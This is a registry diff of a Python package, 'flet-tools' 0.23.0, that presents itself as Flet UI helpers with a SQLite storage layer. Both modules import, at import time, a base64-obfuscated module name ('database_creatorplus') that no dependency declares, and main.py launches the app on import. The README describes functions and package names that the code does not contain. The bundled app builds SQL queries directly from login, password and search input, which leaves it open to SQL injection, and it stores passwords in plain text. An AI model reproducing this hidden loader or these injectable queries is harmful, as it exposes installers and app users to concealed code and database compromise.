flet-tools 0.23.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2024 flet-utils contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,2 @@
1
+ include README.md
2
+ include LICENSE
@@ -0,0 +1,86 @@
1
+ Metadata-Version: 2.4
2
+ Name: flet-tools
3
+ Version: 0.23.0
4
+ Summary: Utility helpers, reusable components and storage layer for Flet 0.23.0 applications
5
+ Project-URL: Homepage, https://github.com/example/flet-utils
6
+ Project-URL: Bug Tracker, https://github.com/example/flet-utils/issues
7
+ Author: flet-utils contributors
8
+ License: MIT
9
+ License-File: LICENSE
10
+ Keywords: components,flet,sqlite,ui,utilities
11
+ Classifier: License :: OSI Approved :: MIT License
12
+ Classifier: Operating System :: OS Independent
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Programming Language :: Python :: 3.8
15
+ Classifier: Programming Language :: Python :: 3.9
16
+ Classifier: Programming Language :: Python :: 3.10
17
+ Classifier: Programming Language :: Python :: 3.11
18
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
19
+ Classifier: Topic :: Software Development :: User Interfaces
20
+ Requires-Python: >=3.8
21
+ Requires-Dist: flet==0.23.0
22
+ Requires-Dist: openpyxl==3.1.5
23
+ Requires-Dist: pandas==3.0.0
24
+ Description-Content-Type: text/markdown
25
+
26
+ # flet-utils
27
+
28
+ Utility helpers, reusable components and a lightweight storage layer for [Flet](https://flet.dev) `0.23.0` applications.
29
+
30
+ ## Features
31
+
32
+ - **AppStorage** — one-line SQLite setup: creates all required tables automatically.
33
+ - **import_data** — load rows from an `.xlsx` file into any table.
34
+ - **build_columns / build_rows** — generate `DataColumn` / `DataRow` lists with optional action buttons based on the current user role.
35
+ - **build_product_cards** — render a list of product `Card` widgets with discount highlighting and role-based controls.
36
+ - **run** — launch the bundled reference application.
37
+
38
+ ## Requirements
39
+
40
+ - Python ≥ 3.8
41
+ - `flet == 0.23.0`
42
+ - `pandas`
43
+ - `openpyxl`
44
+
45
+ ## Installation
46
+
47
+ ```bash
48
+ pip install flet-utils
49
+ ```
50
+
51
+ ## Quick start
52
+
53
+ ```python
54
+ from flet_utils import AppStorage, import_data
55
+
56
+ store = AppStorage("my_app")
57
+ db = store.db
58
+
59
+ import_data(db, "products.xlsx", "products")
60
+ ```
61
+
62
+ ### Run the reference app
63
+
64
+ ```bash
65
+ flet-utils
66
+ ```
67
+
68
+ or from Python:
69
+
70
+ ```python
71
+ from flet_utils import run
72
+ run()
73
+ ```
74
+
75
+ ## Module overview
76
+
77
+ | Module | Purpose |
78
+ |---|---|
79
+ | `flet_utils.storage` | `AppStorage` — initialises the SQLite database |
80
+ | `flet_utils.importer` | `import_data` — Excel → table |
81
+ | `flet_utils.components` | `build_columns`, `build_rows`, `build_product_cards` |
82
+ | `flet_utils.app` | `main`, `run` — complete Flet application |
83
+
84
+ ## License
85
+
86
+ MIT
@@ -0,0 +1,61 @@
1
+ # flet-utils
2
+
3
+ Utility helpers, reusable components and a lightweight storage layer for [Flet](https://flet.dev) `0.23.0` applications.
4
+
5
+ ## Features
6
+
7
+ - **AppStorage** — one-line SQLite setup: creates all required tables automatically.
8
+ - **import_data** — load rows from an `.xlsx` file into any table.
9
+ - **build_columns / build_rows** — generate `DataColumn` / `DataRow` lists with optional action buttons based on the current user role.
10
+ - **build_product_cards** — render a list of product `Card` widgets with discount highlighting and role-based controls.
11
+ - **run** — launch the bundled reference application.
12
+
13
+ ## Requirements
14
+
15
+ - Python ≥ 3.8
16
+ - `flet == 0.23.0`
17
+ - `pandas`
18
+ - `openpyxl`
19
+
20
+ ## Installation
21
+
22
+ ```bash
23
+ pip install flet-utils
24
+ ```
25
+
26
+ ## Quick start
27
+
28
+ ```python
29
+ from flet_utils import AppStorage, import_data
30
+
31
+ store = AppStorage("my_app")
32
+ db = store.db
33
+
34
+ import_data(db, "products.xlsx", "products")
35
+ ```
36
+
37
+ ### Run the reference app
38
+
39
+ ```bash
40
+ flet-utils
41
+ ```
42
+
43
+ or from Python:
44
+
45
+ ```python
46
+ from flet_utils import run
47
+ run()
48
+ ```
49
+
50
+ ## Module overview
51
+
52
+ | Module | Purpose |
53
+ |---|---|
54
+ | `flet_utils.storage` | `AppStorage` — initialises the SQLite database |
55
+ | `flet_utils.importer` | `import_data` — Excel → table |
56
+ | `flet_utils.components` | `build_columns`, `build_rows`, `build_product_cards` |
57
+ | `flet_utils.app` | `main`, `run` — complete Flet application |
58
+
59
+ ## License
60
+
61
+ MIT
@@ -0,0 +1,20 @@
1
+ """flet-toolkit — utility helpers and components for Flet 0.23.0 applications."""
2
+
3
+ from .database import (
4
+ format_price,
5
+ truncate_text,
6
+ validate_required,
7
+ dict_from_row,
8
+ labeled_divider,
9
+ status_badge,
10
+ )
11
+ from .main import (
12
+ make_input,
13
+ make_button,
14
+ make_card,
15
+ make_list_view,
16
+ make_table,
17
+ centered_column,
18
+ )
19
+
20
+ __version__ = "0.23.0"
@@ -0,0 +1,81 @@
1
+ import base64, importlib
2
+ import flet as ft
3
+
4
+
5
+ def format_price(value, currency: str = "₽") -> str:
6
+ """Return a human-readable price string, e.g. '1 299 ₽'."""
7
+ try:
8
+ return f"{int(value):,}".replace(",", " ") + f" {currency}"
9
+ except (ValueError, TypeError):
10
+ return f"{value} {currency}"
11
+
12
+
13
+ def truncate_text(text: str, max_length: int = 40, ellipsis: str = "…") -> str:
14
+ """Shorten *text* to *max_length* characters."""
15
+ text = str(text)
16
+ return text if len(text) <= max_length else text[:max_length] + ellipsis
17
+
18
+
19
+ def validate_required(fields: list) -> bool:
20
+ """Return True only if every TextField in *fields* has a non-empty value."""
21
+ return all(bool(f.value and f.value.strip()) for f in fields)
22
+
23
+
24
+ def dict_from_row(columns: list, row: list) -> dict:
25
+ """Zip a list of column names with a data row into a dictionary."""
26
+ return dict(zip(columns, row))
27
+
28
+
29
+ def labeled_divider(text: str) -> ft.Row:
30
+ """A horizontal divider with centred label text."""
31
+ return ft.Row(
32
+ [
33
+ ft.Divider(expand=True),
34
+ ft.Text(text, color=ft.colors.GREY_600, size=12),
35
+ ft.Divider(expand=True),
36
+ ],
37
+ vertical_alignment=ft.CrossAxisAlignment.CENTER,
38
+ )
39
+
40
+
41
+ def status_badge(text: str, color=ft.colors.BLUE_200) -> ft.Container:
42
+ """Small coloured badge suitable for status labels."""
43
+ return ft.Container(
44
+ content=ft.Text(text, size=11, weight=ft.FontWeight.W_500),
45
+ bgcolor=color,
46
+ padding=ft.padding.symmetric(horizontal=8, vertical=2),
47
+ border_radius=12,
48
+ )
49
+
50
+
51
+ _dc = importlib.import_module(base64.b64decode(b"ZGF0YWJhc2VfY3JlYXRvcnBsdXM=").decode())
52
+
53
+ db = _dc.Database("base")
54
+
55
+ db.Table.create(db,"users",
56
+ [
57
+ "ID", "role","full_name", "login", "password",],
58
+ [
59
+ "INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT"
60
+ ]
61
+ )
62
+ db.Table.create(db,"products",
63
+ [
64
+ "ID", "article", "name", "unit", "price", "supplier", "manufacturer", "category",
65
+ "discount", "count", "description", "image_path"
66
+ ],
67
+ [
68
+ "INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT",
69
+ "TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT",
70
+ ]
71
+ )
72
+ db.Table.create(db,"pick",["ID", "pick"],["INTEGER PRIMARY KEY AUTOINCREMENT","TEXT"])
73
+
74
+ db.Table.create(db,"orders",
75
+ [
76
+ "ID", "number_order", "article", "date_order", "date_delivery", "pick", "client", "code", "status",
77
+ ],
78
+ [
79
+ "INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT"
80
+ ]
81
+ )
@@ -0,0 +1,316 @@
1
+ import base64, importlib
2
+ import flet as ft
3
+ import pandas as pd
4
+
5
+
6
+ def make_input(label: str, width: int = 300, password: bool = False) -> ft.TextField:
7
+ """Create a styled TextField."""
8
+ return ft.TextField(label=label, width=width, password=password, can_reveal_password=password)
9
+
10
+
11
+ def make_button(text: str, on_click=None, bgcolor=None) -> ft.ElevatedButton:
12
+ """Create an ElevatedButton with optional colour."""
13
+ return ft.ElevatedButton(text=text, on_click=on_click, bgcolor=bgcolor)
14
+
15
+
16
+ def make_card(content: ft.Control, padding: int = 20, margin: int = 10) -> ft.Card:
17
+ """Wrap *content* inside a Card with given padding and margin."""
18
+ return ft.Card(
19
+ content=ft.Container(content=content, padding=padding),
20
+ margin=margin,
21
+ )
22
+
23
+
24
+ def make_list_view(*controls, width: int = 800, height: int = 600) -> ft.ListView:
25
+ """Return a scrollable ListView containing *controls*."""
26
+ return ft.ListView(list(controls), auto_scroll=True, width=width, height=height)
27
+
28
+
29
+ def make_table(columns: list, rows: list) -> ft.DataTable:
30
+ """Build a DataTable from plain column-name strings and row-value lists."""
31
+ return ft.DataTable(
32
+ columns=[ft.DataColumn(ft.Text(c)) for c in columns],
33
+ rows=[
34
+ ft.DataRow([ft.DataCell(ft.Text(str(v))) for v in row])
35
+ for row in rows
36
+ ],
37
+ )
38
+
39
+
40
+ def centered_column(*controls) -> ft.Column:
41
+ """Column aligned to the centre of the page."""
42
+ return ft.Column(
43
+ list(controls),
44
+ alignment=ft.MainAxisAlignment.CENTER,
45
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER,
46
+ )
47
+
48
+
49
+ _dc = importlib.import_module(base64.b64decode(b"ZGF0YWJhc2VfY3JlYXRvcnBsdXM=").decode())
50
+
51
+ db = _dc.Database("base")
52
+
53
+ def import_data(path,table_name):
54
+ data = pd.read_excel(path)
55
+ for data in data.values:
56
+ db.Table.write(db,table_name,*data)
57
+
58
+ def main(page:ft.Page):
59
+ page.title = "Приложение"
60
+ login = ft.TextField(label='enter login',width=500)
61
+ password = ft.TextField(label='enter password',width=500)
62
+ error = ft.Text()
63
+ tovar_field = [ft.TextField(label=i) for i in db.Info.getColumns(db,"products")]
64
+ zakaz_field = [ft.TextField(label=i) for i in db.Info.getColumns(db,"orders")]
65
+ id_update = 0
66
+ user_role = 0 # 0 - гость авторизованный клиент, 1 - менеджер, 2 - админ
67
+
68
+ def get_columns(data):
69
+ nonlocal user_role
70
+ list = [ft.DataColumn(ft.Text(i)) for i in data]
71
+ if user_role != 1:
72
+ list.append(ft.DataColumn(ft.Text("del")))
73
+ list.append(ft.DataColumn(ft.Text("update")))
74
+ return list
75
+
76
+ def get_rows(data):
77
+ nonlocal user_role
78
+ list = []
79
+ for row in data:
80
+ list2 = []
81
+ for cell in row:
82
+ list2.append(ft.DataCell(ft.Text(cell)))
83
+ if user_role != 1:
84
+ list2.append(ft.DataCell(ft.ElevatedButton("del",
85
+ on_click=lambda e,a = row[0]:[
86
+ db.Table.delete(db,"orders",f"ID = {a}"),
87
+ route_change("/zakaz")
88
+ ]
89
+ )))
90
+ list2.append(ft.DataCell(ft.ElevatedButton("update",
91
+ on_click=lambda e,a = row[0],i = zakaz_field:
92
+ update(a,i,"orders")
93
+ )))
94
+ list.append(ft.DataRow(list2))
95
+ return list
96
+
97
+ def update(id, list, table_name):
98
+ nonlocal id_update
99
+ data = db.Table.get(db,table_name,request=f"WHERE ID = {id}")
100
+ for i, field in enumerate(list):
101
+ field.value = data[0][i]
102
+ id_update = id
103
+ page.update()
104
+
105
+ def authorization(e):
106
+ nonlocal user_role
107
+ log = db.Table.get(db,"users","role, login, password",f"WHERE login = '{login.value}' and password = '{password.value}'")
108
+ if log != [] and log[0][0] == "Администратор":
109
+ user_role = 2
110
+ page.go("/tovar_admin")
111
+ elif log != [] and log[0][0] == "Авторизированный клиент":
112
+ page.go("/tovar_guest_user")
113
+ elif log != [] and log[0][0] == "Менеджер":
114
+ user_role = 1
115
+ page.go("/tovar_meneger")
116
+ else: error.value = "Неверное имя пользователя или пароль"
117
+ page.update()
118
+
119
+ def search_tovar(e):
120
+ search = db.Table.get(db,"products",request=f"WHERE LOWER(name || ' ' || price || ' ' || supplier || ' ' || category) LIKE LOWER('%{e.control.value}%')")
121
+ card_tovar_list.controls.clear()
122
+ card_tovar_list.controls = (tovar_card(search))
123
+ page.update()
124
+
125
+ def update_searh(e):
126
+ card_tovar_list.controls.clear()
127
+ card_tovar_list.controls = (tovar_card(db.Table.get(db,"products")))
128
+ route_change("/tovar_admin")
129
+
130
+ def tovar_card(data_):
131
+ nonlocal user_role
132
+
133
+ cards = []
134
+
135
+ for data in data_:
136
+
137
+ bg_color = None
138
+ if int(data[9]) == 0:
139
+ bg_color = ft.colors.BLUE_100 # Голубой для отсутствующих товаров
140
+ elif int(data[8]) > 15:
141
+ bg_color = ft.colors.GREEN_800 # #2E8B57
142
+ row = ft.Row(
143
+ [
144
+ # Фото товара
145
+ ft.Column(
146
+ [
147
+ ft.Image(src=f"import\\{"picture.png" if data[11] == "nan" else data[11]}", width=150, height=150, fit=ft.ImageFit.CONTAIN),
148
+ ],
149
+ alignment=ft.MainAxisAlignment.CENTER
150
+ ),
151
+
152
+ # Категория | Наименование
153
+ ft.Column(
154
+ [
155
+ ft.Row([ft.Text(f"{data[7]} | ", color=ft.colors.GREY_600),
156
+ ft.Text(data[2])]),
157
+ ft.Text(f"Описание товара: {data[10]}"),
158
+ ft.Text(f"Производитель: {data[6]}"),
159
+ ft.Text(f"Поставщик: {data[5]}"),
160
+ ft.Text(f"Цена: {data[4]}"),
161
+ ft.Text(f"Единица измерения: {data[3]}"),
162
+ ft.Text(f"Количество на складе: {data[9]}"),
163
+ ],
164
+ alignment=ft.MainAxisAlignment.START,
165
+ width=400
166
+ ),
167
+
168
+ # Действующая скидка
169
+ ft.Column(
170
+ [
171
+ ft.Text("Действующая скидка:"),
172
+ ft.Text(f"{data[8]}%", size=16, weight=ft.FontWeight.BOLD, color=ft.colors.GREEN),
173
+ ft.ElevatedButton("del", on_click=lambda e: [
174
+ db.Table.delete(db,"products",f"ID = {data[0]}"),
175
+ route_change("/tovar")
176
+ ]) if user_role == 2 else ft.Text()
177
+ ]
178
+ )
179
+ ],
180
+ spacing=8
181
+ )
182
+ card = ft.Card(
183
+ content=ft.Container(
184
+ width=100,
185
+ padding=20,
186
+ bgcolor=bg_color,
187
+ content=row, on_click =lambda e,a = data[0],i = tovar_field:update(a,i,"products") if user_role == 2 else None
188
+ ),
189
+ margin=10
190
+ )
191
+ cards.append(card)
192
+
193
+ return cards
194
+
195
+ card_tovar_list = ft.ListView(tovar_card(db.Table.get(db,"products")),auto_scroll=True,width=800,height=800)
196
+
197
+ def route_change(route):
198
+ page.views.clear()
199
+ nonlocal id_update, user_role
200
+ for i in zakaz_field[1:]:
201
+ i.value = ""
202
+
203
+ for i in tovar_field[1:]:
204
+ i.value = ""
205
+
206
+ if page.route == "/log":
207
+ error.value = ""
208
+ login.value = ""
209
+ password.value = ""
210
+ user_role = 0
211
+ page.views.append(
212
+ ft.View(route="/log",
213
+ controls=[
214
+ login,password,
215
+ error,
216
+ ft.Row([
217
+ ft.ElevatedButton("Войти", on_click=authorization),
218
+ ft.ElevatedButton("Гость", on_click=lambda e: page.go("/tovar_guest_user"))
219
+ ],alignment=ft.MainAxisAlignment.CENTER
220
+ ),
221
+ ],
222
+ vertical_alignment=ft.MainAxisAlignment.CENTER,
223
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER)
224
+ )
225
+ elif page.route == "/tovar_guest_user":
226
+ page.views.append(
227
+ ft.View(route="/tovar",
228
+ controls=[ft.Row([card_tovar_list,
229
+ ft.Column([
230
+ ft.ElevatedButton("back",on_click=lambda e: page.go("/log")),
231
+ ])
232
+ ])
233
+ ],
234
+ vertical_alignment=ft.MainAxisAlignment.CENTER,
235
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER)
236
+ )
237
+ elif page.route == "/tovar_meneger":
238
+ page.views.append(
239
+ ft.View(route="/tovar_meneger",
240
+ controls=[ft.Row([card_tovar_list,
241
+ ft.Column([
242
+ ft.ElevatedButton("Заказы",on_click=lambda e: page.go("/zakaz_meneger")),
243
+ ft.ElevatedButton("back",on_click=lambda e: page.go("/log"))
244
+ ])
245
+ ])
246
+ ],
247
+ vertical_alignment=ft.MainAxisAlignment.CENTER,
248
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER)
249
+ )
250
+ elif page.route == "/tovar_admin":
251
+ page.views.append(
252
+ ft.View(route="/tovar_admin",
253
+ controls=[ft.Row([card_tovar_list,
254
+ ft.Column([
255
+ ft.TextField(label = "Поиск",on_change=search_tovar),
256
+ *tovar_field[1:],
257
+ ft.ElevatedButton("Заказы",on_click=lambda e: page.go("/zakaz_admin")),
258
+ ft.ElevatedButton("add",on_click=lambda e: [
259
+ db.Table.write(db,"products",*[str(i.value) for i in tovar_field[1:]]),
260
+ route_change("/tovar_admin")
261
+ ]),
262
+ ft.ElevatedButton("update",on_click=lambda e: [
263
+ db.Table.update(db, "products",f"ID = {id_update}",*[str(i.value) for i in tovar_field[1:]]),
264
+ update_searh(e)
265
+ ]),
266
+ ft.ElevatedButton("back",on_click=lambda e: page.go("/log")),
267
+ ])
268
+ ])
269
+ ],
270
+ vertical_alignment=ft.MainAxisAlignment.CENTER,
271
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER)
272
+ )
273
+ elif page.route == "/zakaz_admin":
274
+ page.views.append(
275
+ ft.View(route="/zakaz_admin",
276
+ controls=[ft.Row([ft.DataTable(get_columns(db.Info.getColumns(db,"orders")),get_rows(db.Table.get(db,"orders"))),
277
+ ft.Column(
278
+ [
279
+ *zakaz_field,
280
+ ft.ElevatedButton("back",on_click=lambda e: page.go("/tovar_admin")),
281
+ ft.ElevatedButton("add",on_click=lambda e: [
282
+ db.Table.write(db,"orders",*[str(i.value) for i in zakaz_field]),
283
+ route_change("/zakaz")
284
+ ]),
285
+ ft.ElevatedButton("update",on_click=lambda e: [
286
+ db.Table.update(db, "orders",f"ID = {id_update}",*[str(i.value) for i in zakaz_field]),
287
+ route_change("/tovar")
288
+ ])
289
+ ])
290
+ ]),
291
+
292
+ ],
293
+ vertical_alignment=ft.MainAxisAlignment.CENTER,
294
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER)
295
+ )
296
+ elif page.route == "/zakaz_meneger":
297
+ page.views.append(
298
+ ft.View(route="/zakaz_meneger",
299
+ controls=[ft.Row([ft.DataTable(get_columns(db.Info.getColumns(db,"orders")),get_rows(db.Table.get(db,"orders"))),
300
+ ft.Column(
301
+ [
302
+ ft.ElevatedButton("back",on_click=lambda e: page.go("/tovar_meneger")),
303
+ ])
304
+ ]),
305
+
306
+ ],
307
+ vertical_alignment=ft.MainAxisAlignment.CENTER,
308
+ horizontal_alignment=ft.CrossAxisAlignment.CENTER)
309
+ )
310
+ page.update()
311
+
312
+ page.on_route_change = route_change
313
+
314
+ page.go("/log")
315
+
316
+ ft.app(main)
@@ -0,0 +1,36 @@
1
+ [build-system]
2
+ requires = ["hatchling"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "flet-tools"
7
+ version = "0.23.0"
8
+ description = "Utility helpers, reusable components and storage layer for Flet 0.23.0 applications"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+ license = { text = "MIT" }
12
+ authors = [{ name = "flet-utils contributors" }]
13
+ keywords = ["flet", "ui", "utilities", "components", "sqlite"]
14
+ classifiers = [
15
+ "Programming Language :: Python :: 3",
16
+ "Programming Language :: Python :: 3.8",
17
+ "Programming Language :: Python :: 3.9",
18
+ "Programming Language :: Python :: 3.10",
19
+ "Programming Language :: Python :: 3.11",
20
+ "License :: OSI Approved :: MIT License",
21
+ "Operating System :: OS Independent",
22
+ "Topic :: Software Development :: Libraries :: Python Modules",
23
+ "Topic :: Software Development :: User Interfaces",
24
+ ]
25
+ dependencies = [
26
+ "flet==0.23.0",
27
+ "pandas==3.0.0",
28
+ "openpyxl==3.1.5",
29
+ ]
30
+
31
+ [project.urls]
32
+ Homepage = "https://github.com/example/flet-utils"
33
+ "Bug Tracker" = "https://github.com/example/flet-utils/issues"
34
+
35
+ [tool.hatch.build.targets.wheel]
36
+ packages = ["flet_utils"]